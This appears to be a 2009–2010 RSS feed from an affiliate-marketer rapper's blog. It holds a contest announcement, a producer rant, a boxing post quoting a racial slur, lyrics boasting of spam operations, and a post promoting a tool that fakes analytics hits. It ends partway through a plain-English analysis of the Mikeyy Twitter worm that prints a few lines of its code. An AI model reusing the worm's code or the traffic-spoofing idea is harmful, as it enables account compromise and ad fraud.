<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Rob Hustle</title>
	<atom:link href="http://www.robhustle.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.robhustle.com</link>
	<description>Je Suis Dans Ton Trou D'Oreille</description>
	<pubDate>Wed, 07 Jul 2010 18:06:22 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Rob Hustle is Going to the Playboy Mansion!</title>
		<link>http://www.robhustle.com/2010/07/07/rob-hustle-is-going-to-the-playboy-mansion/</link>
		<comments>http://www.robhustle.com/2010/07/07/rob-hustle-is-going-to-the-playboy-mansion/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 18:05:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[BJJ]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.robhustle.com/?p=86</guid>
		<description><![CDATA[That's right... out of a field of dozens of hopefuls, <a href="http://www.shoemoney.com/2010/04/05/and-the-shoemoney-system-theme-song-contest-winner-is/">I won the Shoemoney Theme Song Contest</a> and will be partying with Hef and the Bunnies at the Mansion. Thanks to everyone who supported me!
<Br>
<object width="480" height="385" data="http://www.youtube.com/v/vERUaTr2GNQ&#38;hl=en_US&#38;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/vERUaTr2GNQ&#38;hl=en_US&#38;fs=1" /><param name="allowfullscreen" value="true" /></object>]]></description>
			<content:encoded><![CDATA[<p>That&#8217;s right&#8230; out of a field of dozens of hopefuls, <a href="http://www.shoemoney.com/2010/04/05/and-the-shoemoney-system-theme-song-contest-winner-is/">I won the Shoemoney Theme Song Contest</a> and will be partying with Hef and the Bunnies at the Mansion. Thanks to everyone who supported me! From Shoemoney.com&#8230;</p>
<blockquote><p>Rob Hustle! Congratulations!</p>
<p>Every single one of the judges who responded had Rob as their first place vote. Rob’s entry really stood out because he not only told the ShoeMoney Story of how I started but also mentioned all the key selling points of the ShoeMoney System. The hook (chorus) is off the charts but the real thing that got us was the “haters gonna hate” graphic during the hook. Which anyone who has achieved any success on the internet can relate to.</p>
<p>Mix that in with a awesome production and… you have your winner. We like it so much we use it for our ringtone around the office.</p>
<p>Here you can download the iPhone version (just put it in iTunes) and the MP3 version for blackberry and android.</p>
<p>We have also made a new radio ad with Rob’s hook that will start to replace our current national ads next week.</p></blockquote>
<p><object width="480" height="385" data="http://www.youtube.com/v/vERUaTr2GNQ&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/vERUaTr2GNQ&amp;hl=en_US&amp;fs=1" /><param name="allowfullscreen" value="true" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.robhustle.com/2010/07/07/rob-hustle-is-going-to-the-playboy-mansion/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Fucking Producers</title>
		<link>http://www.robhustle.com/2009/09/11/fucking-producers/</link>
		<comments>http://www.robhustle.com/2009/09/11/fucking-producers/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 20:28:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Music]]></category>

		<guid isPermaLink="false">http://www.robhustle.com/?p=84</guid>
		<description><![CDATA[I been going through a lot of beats lately, and I want to kill some of these producers. If you are a producer, and you want MC&#8217;s to spit over your tracks, LISTEN UP:
RULE NUMBER ONE: FUCK YOUR INTRO
Don&#8217;t make the intro 30 seconds long. NO ONE WILL LISTEN TO THAT SHIT. I don&#8217;t want [...]]]></description>
			<content:encoded><![CDATA[<p>I been going through a lot of beats lately, and I want to kill some of these producers. If you are a producer, and you want MC&#8217;s to spit over your tracks, LISTEN UP:</p>
<p>RULE NUMBER ONE: FUCK YOUR INTRO<br />
Don&#8217;t make the intro 30 seconds long. NO ONE WILL LISTEN TO THAT SHIT. I don&#8217;t want to wait 30 goddamn seconds till I can bust my rhyme. What am I supposed to do, sit around talking shit and saying YO?  </p>
<p>Rookie Producers are like primadonnas&#8230; they want everyone to see how dope they are, so the add instrumentation one layer at a time. The hi hat. The snare. The kick.  FUCKING STOP IT! </p>
<p>You got 10 seconds max, then drop the fucking beat. Thats why veteran producers get so much hype&#8230; they understand this shit.</p>
<p>RULE NUMBER TWO: TOO MUCH SHIT<br />
How is anyone supposed to rap over all that garbage? There&#8217;s no place for the vocals to sit. A good beat should sound incomplete without the vocal. Try downloading some of the all time classics. You hear that open space in the middle? That&#8217;s where the VOCALS SIT. Stop crowding the lane and pass the rock already.</p>
<p>RULE NUMBER THREE: DROP THE BEAT ALREADY<br />
All that fancy intro shit and then the beat drops and&#8230; NOTHING. ARGH! I WANT TO KILL YOU! If your beat doesn&#8217;t drop, then no one is going to rap on it. Why is it that some producers have tons of people spitting on their shit, while others are begging people to lace up a track? If that sounds like you, here&#8217;s a clue: Your Beat Doesn&#8217;t Drop.</p>
<p>I&#8217;m sick of wack producers ruining otherwise good tracks with these stupid mistakes. Just cut the bullshit, drop the beat, and lets do this. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.robhustle.com/2009/09/11/fucking-producers/feed/</wfw:commentRss>
		</item>
		<item>
		<title>VIDEOS - Tim Sylvia Bitch Slapped by Ray Mercer</title>
		<link>http://www.robhustle.com/2009/06/16/tim-sylvia-bitch-slapped-by-ray-mercer/</link>
		<comments>http://www.robhustle.com/2009/06/16/tim-sylvia-bitch-slapped-by-ray-mercer/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 19:06:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[BJJ]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.robhustle.com/?p=81</guid>
		<description><![CDATA[Merciless Ray Mercer is one of my favorite boxers. One of my first memories of him was from the Seoul olympics, standing on the podium with his gold medal in his TEEF, representing for the USA. Mercer was an Army man, like my dad, and I took special pride in his victory because of that. [...]]]></description>
			<content:encoded><![CDATA[<p>Merciless Ray Mercer is one of my favorite boxers. One of my first memories of him was from the Seoul olympics, standing on the podium with his gold medal in his TEEF, representing for the USA. Mercer was an Army man, like my dad, and I took special pride in his victory because of that. </p>
<p>I remember when he went pro&#8230; I remember him dismantling heavyweights in brutal fashion. His knockout of Morrison was one of the most awesome destructions of a heavyweight ever. Morrison was trying to fall and Mercer literally lifted him up back up with punches, preventing him from hitting the mat. </p>
<p>Along with his punishing style, I liked Mercer&#8217;s attitude. He seemed like a straight up guy. I like the military. I grew up on military bases. I hung around with military people. He wasn&#8217;t for everyone, but I was comfortable with his blue collar style. </p>
<p>Fast forward to 2009.</p>
<p>Times aren&#8217;t always easy for an aging heavyweight champ. Mercer had already suffered one humliating loss to Kevin &#8220;Kimbo&#8221; Ferguson. Although he and Kimbo had agreed to step in the cage and trade punches, as soon as the bell rang, Kimbo immediately tried to take Mercer down. One of the last things to go on a heavyweight is his power. You can get old as fuck, but if you are a boxer who can punch, that punch will stay with you till the end.</p>
<p>Unfortunately, Mercer never got the chance. Kimbo took him down, beat him on the ground, and in the minds of most, Ray&#8217;s legacy as an MMA can was begun.</p>
<p>Enter Tim &#8220;Tastes like pee pee&#8221; Sylvia. </p>
<p>Following a series of boring fights and a knockout loss to Fedor, the former UFC Heavyweight champion decides that he is going to pursue a career in Boxing. Apparently, Tim doesn&#8217;t understand that the level of hands in Boxing is exponentially greater than anything that he&#8217;s ever seen in MMA. </p>
<p>MMA striking is completely different than boxing. In MMA, the threat of a takedown completely alters the way you throw strikes. The threat of a kick changes how you attack. The ability to defend takedowns and kicks makes MMA striking a different sport altogether. Unfortunately, Big Tim drank the kool aid that MMA > Boxing, therefore, he could enter the world of Boxing and do some damage.</p>
<p>As Tim would soon find out, you don&#8217;t drink kool aid in front of Ray Mercer and not offer him some. </p>
<p>Enter the press conference. No one ever accused Tim of being a smart man, but you don&#8217;t have to be an asshole. He says, &#8220;It&#8217;s no secret that I&#8217;m going to use Ray Mercer as a stepping stone.&#8221; Seriously? First off, Ray is 48 years old, and you are 33. Talking shit to the elderly is not cool. Not showing respect for a former champ is not cool. And not showing respect to an Olympic Gold Medal Winner is not cool. </p>
<p>Mercer has done more than you ever will Tim. You might beat him. But you have every advantage. Show respect. But no, Tim has to play the douche for all its worth. Witness the pre-fight press conference:</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/Ivsv_EKN-dg&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/Ivsv_EKN-dg&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>Unlike Tim, Jens Pulver knows something about Boxing. With 5 pro fights, Jens has been in the squared circle, and he understands that there are fundamental differences between the two sports. While most of the MMA world (read: the UG) believes that Mercer will be destroyed, a quiet contingent of pro fighters and old school boxing enthusiasts are not so sure&#8230; Jens Pulver, always a straight shooter, speaks the truth when asked:</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/UlLmvsmjuow&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/UlLmvsmjuow&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>The night of the fight. Sylvia and Mercer have a gentleman&#8217;s agreement to just box. Both of them had been expecting a boxing match. Mercer had trained for a boxing match. But two days before the fight, the commission informs the promotion that the fight would be illegal, so they have to change it to MMA.</p>
<p>The warrior that he is, Mercer agrees to the rule change. But, he reaches an agreement with Sylvia that it will be boxing. Of course, Tim doesn&#8217;t honor that agreement. As soon as he steps into the cage, he throws a kick. When the video starts, Mercer is looking at him like, &#8216;WTF BITCH?! You said it was going to be boxing, and now you kicking me like a BIIAATCH?!! OH HELLS NO!!!&#8221;  </p>
<p>He then proceeds to cut through Tims bitch ass pawing jap and land the overhand RIGHT straight across Timmeh&#8217;s JAW. TIIIMMMMMBEEEERRR!!!!</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/bqK6yJaE4mY&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/bqK6yJaE4mY&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>And the best part of it all. The post fight interview. My god, I could watch this over and over. I beat dat ass. I whupped dat ass. I need money&#8230; so we knocked that nigga OUT!!!</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/lyQter2Lphk&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/lyQter2Lphk&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>Merciless Ray Mercer&#8230; Legend.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.robhustle.com/2009/06/16/tim-sylvia-bitch-slapped-by-ray-mercer/feed/</wfw:commentRss>
		</item>
		<item>
		<title>STR8 HEAT!  Rob Hustle + Von Doogan - AUTOMATIC</title>
		<link>http://www.robhustle.com/2009/05/02/str8-heat-rob-hustle-von-doogan-automatic/</link>
		<comments>http://www.robhustle.com/2009/05/02/str8-heat-rob-hustle-von-doogan-automatic/#comments</comments>
		<pubDate>Sun, 03 May 2009 05:26:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Music]]></category>

		<guid isPermaLink="false">http://www.robhustle.com/?p=73</guid>
		<description><![CDATA[Don't miss this a-game classic!  Listen now:

<a href='http://www.robhustle.com/wp-content/uploads/2009/05/automatic.mp3'>Rob Hustle + Von Doogan - Automatic</a>

Click title for lyrics.
]]></description>
			<content:encoded><![CDATA[<p>Don&#8217;t miss this a-game classic!  Listen now:</p>
<p><a href='http://www.robhustle.com/wp-content/uploads/2009/05/automatic.mp3'>Rob Hustle + Von Doogan - Automatic</a></p>
<p>Automatic - Paper Clique Allstars</p>
<p>Rob Hustle<br />
what you gonna do with yo life bro<br />
9-5 two kids and a wife bro?<br />
waste days as a wage slave<br />
never get paid<br />
wonder why you seem suicidal?</p>
<p>wonder why you never feel happy?<br />
wonder why you outta control?<br />
wonder why you smile on the outside<br />
while inside you rampage like a psycho?</p>
<p>man i might up and go crazy<br />
if i had a fuckin life like you<br />
if i had a dumb motherfuckin boss<br />
always tryna tell a motherfucker what to do</p>
<p>so just ask yourself this question<br />
who da real g’s be online?<br />
who really be makin that paper,<br />
runnin capers, stayin on that grind?</p>
<p>can’t be no motherufuckin pussy<br />
can’t afford no wastin no time<br />
gotta want to GET that PAYpuh,<br />
gotta have that shit all on your mind</p>
<p>who the fuck oprah be suin?<br />
who the ftc reviewin?<br />
who the texas ag pursuin?<br />
a-game yeah thats how we do it</p>
<p>I flow mo sick than swine flu<br />
there’s really no need to remind you<br />
i dropped these lines that i rhyme to<br />
give you all somethin that you can to grind to</p>
<p>dont neva look back behind you<br />
neva let nobody outshine you<br />
double p c to the bz paper clique<br />
a-game number one top rhyme crew</p>
<p>never find my rhymes up on itunes<br />
never gonna stop tryna bring shine to<br />
all the other motherfuckers in the a-game<br />
gonna keep droppin these ride till i die tunez</p>
<p>i flow so low when i go low<br />
lookin mean gonna lean back like a cholo<br />
pull a 404, call the po po<br />
neva go black like a black hat cat with a co-lo</p>
<p>Von Doogan<br />
What you know about a colo, with a wholesale promo,<br />
pay the shit once with a prepaid, doesn’t even seem bad, let the shit run for 4 mo, months yo. proxo fo sho<br />
My flow is a proto-type, hold the road tight like a pair of low pros.<br />
Me and rob hustle flow so fero-cious, causing comotion, oh no.</p>
<p>Stop, take a deep breath momo, seen fname for a second, cheese, then photo.<br />
My flow is oh so sick, so ridic, flow so vicious, rip<br />
these landers, fire up these spammers, be frightened, greased lightening,<br />
got the berries, got the rezv, got the rebills, got the iq test, got the pro teeth whitenin.</p>
<p>Yeah, screamin fuck the world,<br />
make monies online, you’d love a twirl.<br />
Give ya bitch a spin, I’d pluck ya girl,<br />
one thing i know, it was much deserved.</p>
<p>And we gettin our just rewards, and you know we love dessert,<br />
got the cake and eat it to, weak game we seein thru, mothafuckas think they can’t get weeded too.<br />
But they can, rolled up, spliffed quick,<br />
don’t like my style, suck my dick.<br />
family feuding, the mccoys and hatfields, survey says, you can get ya damn cap peeled.</p>
<p>Off the top, written or not, try to block my shot i’ll stop ya plot.<br />
Cuz i switch it up daily, and firelead is the network that pays me.<br />
Got you in daze, Billy Mays, hitting brick walls left and right, 1 more line of code to write.<br />
1 more garcia left to light. ayo i’m gettin hype!</p>
<p>Yeah, up in the cypher spliffed up, strip club, pimp cup, exotics tip cup,<br />
cuz a gentleman, with a henny handle, can’t stop, when it comes to my goddamn spam op.<br />
Hittin all the big socials, how many triangles in this photo.<br />
oh no, dundadda back in the zone, hustle lit it up, doogan gotta bring the track home.</p>
<p>get money get paid is the first rule right, get bitches get laid, is the second alright.<br />
two rules to live by, doulbe p c dot bz ain’t no kid’s toy, it’s war.<br />
chyeah, bout to close it out, leave ya croaked on the ground wit an open mouth.<br />
Dead on arrival, excited by my live flow, fuck with us, shit i wouldn’t even try to.</p>
<p>and you can catch the swine flu. we homocidal,<br />
me and rob hustle will dust you, any beat ain’t gotta try to rhyme to.<br />
It’s automatic. we throwin nonos. spiced up like adobo,<br />
harder than a bulletproof volvo, gased up like sunoco.</p>
<p>Get it jumpin like a lolo, top to bottom, rip the vocals, oh so loco,<br />
goin global, got the mothafuckin a game in a goddamn choke hold.<br />
Automatic. it’s automatic. causin havoc.<br />
Automatic. it’s automatic, bringin static, yeah!</p>
<p>on our A game, is automatic, in this A game, like a mac. br-r-r-r-t</p>
]]></content:encoded>
			<wfw:commentRss>http://www.robhustle.com/2009/05/02/str8-heat-rob-hustle-von-doogan-automatic/feed/</wfw:commentRss>
<enclosure url="http://www.robhustle.com/wp-content/uploads/2009/05/automatic.mp3" length="3145269" type="audio/mpeg" />
		</item>
		<item>
		<title>Mic Davice vs Frank D at Ad Tech SF 09</title>
		<link>http://www.robhustle.com/2009/04/26/mic-davice-vs-frank-d-at-ad-tech-sf-09/</link>
		<comments>http://www.robhustle.com/2009/04/26/mic-davice-vs-frank-d-at-ad-tech-sf-09/#comments</comments>
		<pubDate>Mon, 27 Apr 2009 00:19:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Music]]></category>

		<guid isPermaLink="false">http://www.robhustle.com/?p=67</guid>
		<description><![CDATA[The PPC.BZ, Nicky Cakes, Firelead, C2M, EWA AD TECH SF PARTY was legendary. Steve from C2M summed it up best: "This had to have been the best ever party thrown @ any industry trade show!" Indeed it was. 

Just a taste of what went down that night is this incredible battle between Mic Davice and Frank D. Frank D is a local MC that has gotten some shine on the radio. Mic Davice is an affiliate rap game killer representing PPC.BZ. 

As you can see, we can do more than just make money. A-game official. PPC.BZ represent!

<embed src="http://www.youtube.com/v/hGYA4SV9QU8&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed>]]></description>
			<content:encoded><![CDATA[<p>The PPC.BZ, Nicky Cakes, Firelead, C2M, EWA AD TECH SF PARTY was legendary. Steve from C2M summed it up best: &#8220;This had to have been the best ever party thrown @ any industry trade show!&#8221; Indeed it was. </p>
<p>Just a taste of what went down that night is this incredible battle between Mic Davice and Frank D. Frank D is a local MC that has gotten some shine on the radio. Mic Davice is an affiliate rap game killer representing PPC.BZ. </p>
<p>As you can see, we can do more than just make money. A-game official. PPC.BZ represent!</p>
<p><embed src="http://www.youtube.com/v/hGYA4SV9QU8&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></p>
]]></content:encoded>
			<wfw:commentRss>http://www.robhustle.com/2009/04/26/mic-davice-vs-frank-d-at-ad-tech-sf-09/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Blackhat Stuff - The Rob Hustle Analytics Scanner</title>
		<link>http://www.robhustle.com/2009/04/21/blackhat-stuff-the-rob-hustle-analytics-scanner/</link>
		<comments>http://www.robhustle.com/2009/04/21/blackhat-stuff-the-rob-hustle-analytics-scanner/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 09:32:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Lab]]></category>

		<guid isPermaLink="false">http://www.robhustle.com/?p=60</guid>
		<description><![CDATA[
<embed src="http://www.youtube.com/v/LE67_w4w9LU&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed>

This scanner will analyze a web site and determine what analytics packages are being run. Then, it will generate the appropriate spoofing code so that you can make it look like someone hit the site. 

Rob Hustle would never advocate actually doing something like that, especially in conjunction with a proxy switcher and a massive useragent list. Rob Hustle loves kittens and ponies, and only engages in black hat research to satisfy his intellectual curiousity. Don't do drugs!]]></description>
			<content:encoded><![CDATA[<div>
<embed src="http://www.youtube.com/v/LE67_w4w9LU&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></p>
<p>This scanner will analyze a web site and determine what analytics packages are being run. Then, it will generate the appropriate spoofing code so that you can make it look like someone hit the site. </p>
<p>Rob Hustle would never advocate actually doing something like that, especially in conjunction with a proxy switcher and a massive useragent list. Rob Hustle loves kittens and ponies, and only engages in black hat research to satisfy his intellectual curiousity. Don&#8217;t do drugs!</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.robhustle.com/2009/04/21/blackhat-stuff-the-rob-hustle-analytics-scanner/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ad Tech SF</title>
		<link>http://www.robhustle.com/2009/04/19/ad-tech-sf/</link>
		<comments>http://www.robhustle.com/2009/04/19/ad-tech-sf/#comments</comments>
		<pubDate>Sun, 19 Apr 2009 08:57:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[Money]]></category>

		<guid isPermaLink="false">http://www.robhustle.com/?p=51</guid>
		<description><![CDATA[Rob Hustle is going to be in the house at Ad Tech SF representing PPC.BZ. The Affiliate Rap Movement is ON... check out our <a href="http://www.ppc.bz/party/">Party Flyer</a> and <a href="http://www.convert2media.com/blog/2009/04/17/c2m-sponsors-ppcbz-party-at-adtech/">our sponsor writeup</a> at C2M. Big props to Barman for hooking it up! It's ON!!!

<a href="http://www.robhustle.com/wp-content/uploads/2009/04/flyer21.jpg"><img src="http://www.robhustle.com/wp-content/uploads/2009/04/flyer21-300x233.jpg" alt="Rob Hustle in the HOUSE!" title="PPC.BZ " width="300" height="233" class="size-medium wp-image-56" /></a>]]></description>
			<content:encoded><![CDATA[<p>Rob Hustle is going to be in the house at Ad Tech SF representing PPC.BZ. The Affiliate Rap Movement is ON&#8230; check out our <a href="http://www.ppc.bz/party/">Party Flyer</a> and <a href="http://www.convert2media.com/blog/2009/04/17/c2m-sponsors-ppcbz-party-at-adtech/">our sponsor writeup</a> at C2M. Big props to Barman for hooking it up! It&#8217;s ON!!!</p>
<p><a href="http://www.robhustle.com/wp-content/uploads/2009/04/flyer21.jpg"><img src="http://www.robhustle.com/wp-content/uploads/2009/04/flyer21-300x233.jpg" alt="Rob Hustle in the HOUSE!" title="PPC.BZ " width="300" height="233" class="size-medium wp-image-56" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.robhustle.com/2009/04/19/ad-tech-sf/feed/</wfw:commentRss>
		</item>
		<item>
		<title>multiTwit</title>
		<link>http://www.robhustle.com/2009/04/14/multitwit-send-tweets-to-multiple-twitter-accounts/</link>
		<comments>http://www.robhustle.com/2009/04/14/multitwit-send-tweets-to-multiple-twitter-accounts/#comments</comments>
		<pubDate>Tue, 14 Apr 2009 07:47:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Lab]]></category>

		<guid isPermaLink="false">http://www.robhustle.com/?p=48</guid>
		<description><![CDATA[<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/RjSEeFFs3_A&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/RjSEeFFs3_A&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>

This is my latest Twitter app. If you have to maintain multiple Twitter accounts (work, home, personal), this lets you send tweets to all of them at once. Check the video for info, then click the link to download.

<h3><a href="httP://multitwit.widgetropolis.com">Download Here</a></h3>]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/RjSEeFFs3_A&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/RjSEeFFs3_A&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>This is my latest Twitter app. If you have to maintain multiple Twitter accounts (work, home, personal), this lets you send tweets to all of them at once. Check the video for info, then click the link to download.</p>
<h3><a href="httP://multitwit.widgetropolis.com">Download Here</a></h3>
]]></content:encoded>
			<wfw:commentRss>http://www.robhustle.com/2009/04/14/multitwit-send-tweets-to-multiple-twitter-accounts/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Mikeyy Twitter Worm in Plain English</title>
		<link>http://www.robhustle.com/2009/04/13/mikeyy-twitter-worm-in-plain-english/</link>
		<comments>http://www.robhustle.com/2009/04/13/mikeyy-twitter-worm-in-plain-english/#comments</comments>
		<pubDate>Mon, 13 Apr 2009 20:06:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Lab]]></category>

		<guid isPermaLink="false">http://www.robhustle.com/?p=44</guid>
		<description><![CDATA[Update: I made a video of this to help the reading impaired. Sorry, I had a cold when I made this. The analysis is short and sweet tho. If you want to know how Twitter got jacked, just click.

<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/J0K20-EdicE&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/J0K20-EdicE&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>

This is a line by line plain english post mortem of the Mikeyy Twitter Worm version 1. If you want to know WTF happened to Twitter, everything you need is here.]]></description>
			<content:encoded><![CDATA[<p>Update: I made a video of this to help the reading impaired. Sorry, I had a cold when I made this. The analysis is short and sweet tho. If you want to know how Twitter got jacked, just click.</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/J0K20-EdicE&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/J0K20-EdicE&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>As most of you know, the Mikeyy worm and its variants have been infecting Twitter profiles recently. However, many of you might not know exactly how this worm works. This is a quick run down of the source code, in case you are interested.</p>
<p>Note, that this is not a technical run down. I&#8217;ve made this in as plain language as possible. So, programmers, cut me some slack <img src='http://www.robhustle.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> I just thought it would be interesting for people to see how this virus actually worked.</p>
<p>Here goes&#8230;</p>
<p>*** The Switchboard - How the Virus Communicated with the Twitter Servers ***</p>
<p>The original virus had a few main function. The first was a function called XHConn:</p>
<p>function XHConn() {  &#8230; code removed &#8230; }</p>
<p>In order for the attack to work, the hacker had to use something called asynchronous javascript and XML, or AJAX for short.  AJAX allows web pages to make calls to a server from your computer.</p>
<p>Back in the day, HTML files were static. You would download them from the web and display them on your computer. Once they were on your computer, they did not change. In order for the web page to change again, you had to click on something.</p>
<p>However, as the web got more advanced, there was a need for the web page to be able to change itself. Developers needed ways to get information from the server based on what the user was doing, without refreshing the page. So, they started creating things like Javascript, which let them make more powerful and functional web sites.</p>
<p>But in order for the javascript to connect to the server, it needed a way to communicate back and forth. There had to be some kind of switch board that would let the web page send commands to the server, and let the server send information back in response.</p>
<p>In the Mikeyy virus, XHConn was the switchboard. It was the function that allowed the virus to send instructions to and receive responses from the Twitter servers.</p>
<p>*** The Code Room - How the Virus Encoded Its Transmissions ***</p>
<p>The next function in the virus was the URLENCODE function:</p>
<p>function urlencode( str ) { &#8230; code removed &#8230; }</p>
<p>This function was like an encoder box that sat between the swtichboard and the server. The Twitter servers would not respond to transmissions that were not in the proper format. But, the virus needed to send it commands that contained code.</p>
<p>Unlike regular tweets, code has a bunch of special characters. Things like *#$Q#()*@&amp;&lt;&gt;. Some of these characters cannot be sent in a regular URL or understood by servers if they are. In order to transmit the code without causing an error, the virus needed a way to encode it in such a way that the server would understand it.</p>
<p>So, before sending anything to Twitter, the virus would use the urlencode function to encode the transmission. That would ensure that it would arrive safely at the server and be in the proper format when it was received.</p>
<p>*** Getting the Blueprint ***</p>
<p>So far, the worm has not done anything. It has set up its communications switch board, and it has set up an encoder box to use for the transmissions. Now, it gets down to business:</p>
<p>var content = document.documentElement.innerHTML;</p>
<p>This single line does a lot of things. Whenever you are looking at a web page, the page itself is represented by a model. The model has all of the information necessary for your browser to create the page. It&#8217;s like the blueprint of a web page.</p>
<p>If the virus has the blueprint, it can then search the page for information. And that is what the line above does. It creates a copy of the web page and stores it in a variable called &#8216;content&#8217;.</p>
<p>*** Locating the User Name ***</p>
<p>Now that the virus has a map of the web page, it has to find the information that it needs. And that information is the USERNAME. If the virus has the username, it can use that to do two things:</p>
<p>1) Send Tweets<br />
2) Infect the profile</p>
<p>To get the username, the first thing it has to do is find it. Thats what this line of code does:</p>
<p>userreg = new RegExp(/&lt;meta content=&#8221;(.*)&#8221; name=&#8221;session-user-screen_name&#8221;/g);</p>
<p>This creates something called a REGULAR EXPRESSION.  Now, computers are kind of stupid in a way. If you have ever tried to program one, then you know if you even get one single period, comma, or semi colon wrong, the entire thing blows up. But, sometimes you need to search for things that you don&#8217;t exactly know what they are.</p>
<p>Imagine that you are sending your computer to the store to buy milk. Traditionally, you would have to specify EXACTLY what you wanted the computer to get. &#8220;Go get organic 1% milk&#8221;. But what if the store was out of that exact kind of milk? The computer would throw an error.</p>
<p>With a regular expression, you don&#8217;t have to be exact. You can just say, &#8220;Buy Milk&#8221;, and the computer will go and get the closest thing it can. It gives you more flexibility, and makes it more likely that the comptuer will succeed in its task.</p>
<p>That is what the virus is doing here. It knows it needs to search through the content of the web page to get the user name, so it has created a regular expression to help it find what it is looking for.</p>
<p>In th enext two lines:</p>
<p>var username = userreg.exec(content);<br />
username = username[1];</p>
